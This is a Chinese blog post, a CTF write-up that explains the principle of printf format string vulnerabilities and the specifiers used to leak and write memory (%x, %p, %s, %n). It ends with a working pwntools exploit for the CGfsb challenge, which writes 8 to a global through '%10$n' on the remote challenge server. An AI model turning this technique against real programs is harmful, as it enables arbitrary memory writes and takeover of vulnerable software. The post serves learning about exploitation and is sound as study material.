格式化字符串漏洞原理及简单利用(CGfsb题解)

版权声明:本文为博主原创文章,转载需注明出处。 https://blog.csdn.net/zz_Caleb/article/details/88980866

先介绍一下格式化字符串漏洞,这种漏洞在实际中应该很少有了,但仍然需要了解这些基础的漏洞知识。

会触发该漏洞的函数很有限,主要就是printf、sprintf、fprintf等print家族函数,该题就是利用了printf的漏洞,下面以printf为例进行介绍。

printf函数的使用方法为:printf("format", 输出表列),由于format部分可以有许多的占位符及字母,所以接受的参数数量是不定的,而且对参数的处理是有顺序的。

 下面介绍摘自https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_intro/

在一开始,我们就给出格式化字符串的基本介绍,这里再说一些比较细致的内容。我们上面说,格式化字符串函数是根据格式化字符串函数来进行解析的。那么相应的要被解析的参数的个数也自然是由这个格式化字符串所控制。比如说'%s'表明我们会输出一个字符串参数。

我们再继续以上面的为例子进行介绍

基本例子

对于这样的例子,在进入 printf 函数的之前 (即还没有调用 printf),栈上的布局由高地址到低地址依次如下

some value
3.14
123456
addr of "red"
addr of format string: Color %s...

注:这里我们假设 3.14 上面的值为某个未知的值。

在进入 printf 之后,函数首先获取第一个参数,一个一个读取其字符会遇到两种情况

  • 当前字符不是 %,直接输出到相应标准输出。
  • 当前字符是 %, 继续读取下一个字符
    • 如果没有字符,报错
    • 如果下一个字符是 %, 输出 %
    • 否则根据相应的字符,获取相应的参数,对其进行解析并输出

那么假设,此时我们在编写程序时候,写成了下面的样子

printf("Color %s, Number %d, Float %4.2f");

此时我们可以发现我们并没有提供参数,那么程序会如何运行呢?程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为

  1. 解析其地址对应的字符串
  2. 解析其内容对应的整形值
  3. 解析其内容对应的浮点值

对于 2,3 来说倒还无妨,但是对于对于 1 来说,如果提供了一个不可访问地址,比如 0,那么程序就会因此而崩溃。

这基本就是格式化字符串漏洞的基本原理了。

漏洞发生机理
假设一个字符串str,一般来说,使用printf的时候,我们的用法是:printf("%s", str),但是有人是这样用的printf(str),这种情况下我们还能输出吗?答案是可以,因为printf函数的格式,str会被当做format参数,我们知道,使用printf的时候,format参数中的字符串是可以被输出的,但是如果这串字符串中有基本的格式化字符串参数(%s, %n, %x, %p等,下面做个介绍),那么这些内容就会被当做基本的格式化字符串参数来处理,这样就出现了可利用的漏洞。

常用基本的格式化字符串参数介绍:

%c:输出字符,配上%n可用于向指定地址写数据。

%d:输出十进制整数,配上%n可用于向指定地址写数据。

%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。

%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。

%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。

%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100×10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。

%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。

 下面通过一个例子——CGfsb来进行一下简单的格式化字符串漏洞的利用。

对文件类型进行分析,发现是elf文件:

 放到ida中看一下伪代码:

 发现得到flag的关键就是让pwnme==8,这就要利用上面的printf函数了,这个printf函数正好存在我们所说的格式化字符串漏洞。

那么我们下面要做的就是找到printf输出的这个参数的地址了,也就是计算一下这个参数的偏移量。

ida找到要利用的printf函数的地址:0x080486CD

 然后gdb调试这个文件,在这个地址设置断点,然后运行:

 现在查看寄存器中的地址和值:

可以数出偏移量为10,所以这个参数的位置就是10了。

接下来用一个脚本,对这个漏洞进行利用:
 

from pwn import *

p = remote('111.198.29.45', 31559)
pwnme = 0x0804A068

payload1 = 'aaaa'
payload2 = p32(pwnme) + 'aaaa%10$n'

p.recvuntil('please tell me your name:\n')
p.sendline(payload1)
p.recvuntil('leave your message please:\n')
p.sendline(payload2)
print(p.recv())
print(p.recv())  #p.interactive()

可以看到输出了flag:

猜你喜欢

转载自blog.csdn.net/zz_Caleb/article/details/88980866